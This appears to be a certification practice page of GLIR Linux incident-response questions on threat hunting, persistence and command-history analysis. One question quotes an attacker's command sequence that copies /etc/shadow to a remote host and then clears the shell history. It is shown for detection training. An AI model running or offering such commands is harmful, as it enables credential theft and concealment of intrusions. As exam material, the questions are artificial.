An incident responder is investigating a compromised Linux workstation. They find an entry in /etc/rc.local that runs a binary from /usr/lib/.libs. The binary is not present on the system. What is the best next step?

Remove the entry from /etc/rc.local

Document the entry and search for the binary in other locations or memory

Ignore it because the binary is not present

Reboot the system to see if the binary reappears

A security analyst is reviewing command history on a compromised Linux server. They see the following commands: 'ssh user@10.0.0.20', 'scp /etc/shadow user@10.0.0.20:/tmp/', and 'history -c'. What is the most likely intent?

The user is performing a routine backup of configuration files

The attacker is performing lateral movement to another server

The attacker is exfiltrating sensitive data and clearing their tracks

The user is setting up a new SSH key for passwordless login

What is the primary purpose of threat hunting in the context of Linux incident response?

To proactively search for signs of compromise that may have evaded existing detection mechanisms

To ensure all Linux systems are patched with the latest security updates

To replace automated security monitoring with manual log review on a daily basis

To respond to a confirmed incident by containing and eradicating the threat

GIAC Linux Incident Responder

Domain 4Objective 2

Linux Threat Hunting and Incident Response GLIR Practice Questions (Page 5)

Part of the Advanced Analysis and Threat Hunting domain, which makes up ~15% of our current practice bank. GIAC (SANS) does not publish an official question count, but from its 180-minute exam (~70–120 total, ~11–18 in this domain), expect 6–9 from this objective — we provide 50 practice questions to prepare you well beyond it. (estimate)

50questions here

10free pages

10concepts

Questions 21–25

21application · medium
An incident responder is investigating a compromised Linux workstation. They find an entry in /etc/rc.local that runs a binary from /usr/lib/.libs. The binary is not present on the system. What is the best next step?
Select an answer first
22application · medium
A security analyst is reviewing command history on a compromised Linux server. They see the following commands: 'ssh user@10.0.0.20', 'scp /etc/shadow user@10.0.0.20:/tmp/', and 'history -c'. What is the most likely intent?
Select an answer first
23foundation · easy
What is the primary purpose of threat hunting in the context of Linux incident response?
Select an answer first
24foundation · easy
Which filesystem metadata attribute is most useful for identifying when a file was first created on a Linux filesystem?
Select an answer first
25foundation · easy
Which of the following is a common Linux persistence mechanism that can be used to execute a malicious script at a scheduled time?
Select an answer first

Finished these 5 questions?

Review the revealed explanations, or continue through the curriculum.

Next 5 questions →Back to GLIR

Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by GIAC (SANS). “GLIR” is a trademark of its owner, used for identification only.

Linux Threat Hunting and Incident Response GLIR Practice Questions (Page 5)

Questions 21–25

An incident responder is investigating a compromised Linux workstation. They find an entry in /etc/rc.local that runs a binary from /usr/lib/.libs. The binary is not present on the system. What is the best next step?

A security analyst is reviewing command history on a compromised Linux server. They see the following commands: 'ssh user@10.0.0.20', 'scp /etc/shadow user@10.0.0.20:/tmp/', and 'history -c'. What is the most likely intent?

What is the primary purpose of threat hunting in the context of Linux incident response?

Which filesystem metadata attribute is most useful for identifying when a file was first created on a Linux filesystem?

Which of the following is a common Linux persistence mechanism that can be used to execute a malicious script at a scheduled time?

Keep studying — Advanced Analysis and Threat Hunting